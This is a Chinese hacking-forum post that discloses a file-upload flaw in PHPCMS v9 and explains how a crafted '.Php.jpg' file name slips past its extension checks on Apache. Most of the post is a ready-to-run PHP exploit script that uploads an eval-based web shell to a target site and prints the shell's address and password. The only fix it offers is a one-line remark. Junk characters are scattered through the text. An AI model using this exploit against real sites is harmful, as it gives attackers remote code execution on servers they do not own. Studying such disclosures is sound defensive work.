找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2698|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行3 t6 t: S: x3 ?- L# R" Y

3 v6 j: ^% _- |简要描述:0 D! w# L% W# c) W4 x2 R

" K4 Y! }5 q" J* Nphpcms v9 getshell (apache)
3 ^; c0 r6 M2 {% F+ u详细说明:3 C$ p# W3 N8 l  Z$ w. M" f4 N
! u3 z- l* c6 r9 Z$ ~
漏洞文件:phpcms\modules\attachment\attachments.php! s- D/ t. V/ ]! W

0 k" V5 ~1 P" J% U( x5 f; tpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
- n$ D1 `+ S; ^# }" x, l后缀检测:phpcms\modules\attachment\functions\global.func.php, m. n% ^( v* X/ b1 o8 X
2 e& C& }7 h0 A4 w

  T( j# B4 L' I8 C' W# ^" J
! _  Y" f9 q# x& l- C/ R4 z/ tfunction is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  2 U1 F; N! a! O
& ]4 ]1 y9 {! a, i
关键函数:: k5 {9 F; L: T! v$ [0 R# p
4 ]2 O2 [+ ^# \. b3 Q$ H* T
8 e8 T; |( y: _' s# @# Z) @. @
4 B& E4 u, n- o+ K* U/ e( z
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
/ A+ Z" J7 A' l1 Q7 O9 I4 `9 [3 f4 C* t$ p7 k$ h/ m
  Fileext函数是对文件后缀名的提取。! L; R/ t. Q. o7 T! D2 o! b; G
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php- T8 Z) Q( ?9 c- p: V+ q  c
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
3 i8 G# x& S0 Y我们回到public function crop_upload() 函数中
, m% m+ |# m  Gif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();- |) c9 ?$ n9 }2 R! `
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
! u% z3 A1 Z5 Z  v* L( A1 r这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
/ y" z  b, @" }$ ]( d+ R$ p6 q经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
, l! E6 `# j7 q( w+ A: A最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。0 s( o2 B  I2 l# z
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
4 ]' U/ R# d; o9 j, U, y; n! `漏洞证明:
* M  b# Y+ v! s" g# M$ P7 w& [( s1 b8 K5 |6 M  _
exp:
8 z$ f( \& J1 w# |( ?9 E
/ q/ Y9 }2 b& P- A6 K<?php
0 @# M3 v4 q$ C  Z, X( Aerror_reporting(E_ERROR);& H! |+ ^( V9 U2 a# I
set_time_limit(0);# O, K- H# u" @" Z' o4 k1 n) [9 f
$pass="ln";
0 b% W( q# a. a$ H7 cprint_r('1 Q1 D. l' f# X0 t3 d
+---------------------------------------------------------------------------+, V" V& N: n# m- F/ m/ w6 A; j
PHPCms V9 GETSHELL 0DAY 0 P8 j1 j' a/ s
code by L.N.; t9 M) n( u' r/ s
! t! M$ E, @( g3 x0 _
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net" _* Z4 {2 l3 A$ ?
+---------------------------------------------------------------------------+
$ ~. h# a: B; O! O');
( s5 ?- E  l& q- rif ($argc < 2) {
) k" r2 a+ ^. C3 `* l* bprint_r('
2 f1 m  R8 V2 ]7 M* I+---------------------------------------------------------------------------+
$ A4 j# `( f% ?* g+ q$ [; qUsage: php '.$argv[0].' url path
! I4 {$ V  H4 e' \1 e* g) Q$ T0 o3 O9 s9 ?
Example:
& F* C3 L+ `5 k; C1.php '.$argv[0].' lanu.sinaapp.com
+ n2 e2 r/ U5 Q, x2.php '.$argv[0].' lanu.sinaapp.com /phpcms( E' r6 o# R  }" r7 ~2 q( R; o
+---------------------------------------------------------------------------+
" ~2 p) ^$ d+ D& M$ t: e');
% K: |) O9 Q9 _3 v0 Hexit;6 }8 Z2 t# q- b. A$ f
}
3 W  b# u* m1 C
: t; U2 U6 |; M- I. M$url = $argv[1];
/ i1 ]3 B0 p0 M1 R) S$path = $argv[2];
" h- r6 o; _0 g" v3 T- X  Q6 g5 Z$ x- x: l$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';& @* A+ \& e& |7 T. f
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
7 y% P( ?5 m& i% L" A+ V+ _$ b% _if($ret=Create_dir($url,$path))" S  M. h- x  j, z7 g* l' }
{
: }3 S( t! d# L4 ]8 P" Z7 b0 y2 X/ Y8 F//echo $ret;0 z) v! N# P! W, @3 F, E
$pattern = "|Server:[^,]+?|U";' e% k. I8 N" p+ o* N# B5 X
preg_match_all($pattern, $ret, $matches);2 O  a$ t; i) k2 F
if($matches[0][0])
$ f6 S. ~' o! x: e3 [6 R0 H! q{4 m# S) P  Q$ Y% `2 y& }, W
if(strpos($matches[0][0],'Apache') == false)% C- q4 b; s7 L1 `) {# N4 e& X
{. D/ i0 f% O- {3 h$ }5 c+ {1 v
echo "\n亲!此网站不是apache的网站。\n";exit;
# e" J8 W: W; a/ k7 b) n}
1 e  n# k, T* m  o/ M}3 E6 Z0 ~. }( u3 k6 j
$ret = GetShell($url,$phpshell,$path,$file);
  @9 P9 X& t; p+ `1 @$pattern = "|http:\/\/[^,]+?\.,?|U";: P! v9 |5 V- y9 j$ C5 N
preg_match_all($pattern, $ret, $matches);- u: i8 h! X) }2 a( r
if($matches[0][0])( N' m& E8 W# Y0 O7 C1 s1 b6 W
{( s$ A  {4 K0 S
echo "\n".'密码为: '.$pass."\n";
) o- R% O; g) V8 l# Z/ }- \8 uecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- d, ]2 ~7 c7 g5 Z8 D" \
}/ i+ Y4 `7 |: [! P+ ?1 d- `& D
else- Y+ t, f' }- G# k- n: {
{4 _! g: A( L$ S: c( L0 X
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";. ?# p2 l4 G4 N
preg_match_all($pattern, $ret, $matches);
. X9 n2 a  k1 I* \; k& @( P0 @5 \if($matches[0][0])
( U6 t  ?/ K! P) V5 S( W: {6 M{
1 j; C. N3 ~( I2 Y  Q: recho "\n".'密码为: '.$pass."\n";
& Q. z5 @1 n3 ]- V: ~. K/ w  Qecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
3 O9 i# t3 X0 B! Q2 @) a}
1 Z- k  ^- c* P" [9 G* q6 Oelse) I1 o3 q0 r* G7 k: O* W' h
{
: }5 U- I. M) O4 ]1 L2 X# ?echo "\r\n没得到!\n";exit;
2 m, A0 [  \  N9 b}; Y! W4 E0 e8 Y- J2 o2 b) V0 p
}
4 i' @5 m$ a! I}2 e; S7 R/ [- `1 N
3 q2 r; x$ ]% w) @
function GetShell($url,$shell,$path,$js)9 I- {% u: n* z* Q1 g9 x+ d1 t
{
2 y; D1 K% _8 L$ b2 N$content =$shell;
; v$ w* [1 A2 r5 g$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";. V9 w, w- O# y
$data .= "Host: ".$url."\r\n";
0 ]$ t8 {3 D3 \2 p& [: e, j$ g; @$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";, {7 ?! m& |; M1 }# K
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
/ ~, x( j! b. ^9 b5 B$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";) X8 T5 G2 r4 I+ \/ ^( m
$data .= "Connection: close\r\n";( N! F, }, N8 U$ y3 n
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";# ]0 ^( b5 m' r
$data .= $content."\r\n";! i4 z% c7 z, o& m* N( Q& F
$ock=fsockopen($url,80);
7 |  F1 W2 x. Lif (!$ock)
% V! ?& k  O  e3 i! y* O4 p" A{% v; o- P3 d  i. M
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
" X$ s6 f1 J9 C9 z}
/ C" m4 f7 j  D% {; v- belse4 ]; R/ j2 [1 n$ ~
{
5 }9 N5 o0 I2 H6 e( ]3 ?% Nfwrite($ock,$data);- N& K0 t) J# `% J8 l6 G# C5 w, x5 F
$resp = '';+ ^( q; C4 k9 O4 n1 E4 C- t/ i
while (!feof($ock))
6 E3 _. S5 [$ O0 g1 I$ e{
0 J7 t: V% i) Z8 ]  W- q$resp.=fread($ock, 1024);
) P) E. {) Y# z' Z6 R9 e' q" U}
) {  p9 N  O3 O0 i4 Mreturn $resp;3 M: f: K" J# N4 d, Q) X
}
3 N! b! k/ P& N; M7 w! q. b9 ~6 i}3 T$ H+ H& h3 ?- x2 N# _* ?' c: I

  s9 J( t5 h  b$ F# u$ L% f$ efunction Create_dir($url,$path=''): m9 F9 Z/ W1 |8 V
{& I$ B* F- w  K8 ]3 C: R
$content ='I love you';
7 B0 Y' q+ Y  `% V$ B$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
" b, @5 ^) E) a9 g3 m$data .= "Host: ".$url."\r\n";' Z. }$ {. t; j; f$ z1 J
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";7 J# `& K; G! p
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
: c/ s! K! H; G- s$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
1 N) F6 j- |5 U$data .= "Connection: close\r\n";
( |) q6 ?; A: T6 Z+ P. ~$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 U" d( r, z# P% {! M' R$data .= $content."\r\n";
& ^$ ~3 F3 }7 N. m/ k$ock=fsockopen($url,80);
2 ?5 L. }$ D4 Z  g2 xif (!$ock)" ?8 b2 @& T: Z/ R- I
{
# N% ?0 _* c- z5 a8 fecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;8 f3 W0 b; x' s/ n. }+ W# I
}& |0 Y& r* P8 r& L7 j! x/ U9 X2 v& `# }
fwrite($ock,$data);
4 V& f, M0 S- S+ t3 R" G% D$resp = '';6 u+ B# u: g+ M5 h8 n
while (!feof($ock))" T$ L) \8 k* N# p6 }
{
# x. x) u$ M/ D+ U0 g1 T$resp.=fread($ock, 1024);
( ]5 @1 `* j+ V# K+ t}
  m/ ~" K" z( ureturn $resp;
2 R# K* r5 h. w0 H$ I/ ~}  A) c( W' Z0 ^# y  J
?>
$ u$ t9 T$ _7 b7 D8 t3 a4 @
% d4 S! B+ S  y, P2 V- x: J2 Q8 F修复方案:# W7 v8 Z) n9 U* J6 ]) R( j* ?
  i5 b7 W' ?5 h* P, E, x
过滤过滤再过滤' a1 R$ a" ?- M# D' [7 h( e3 g
4 ^8 n) V3 y" D/ t' o) P5 r4 [8 |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表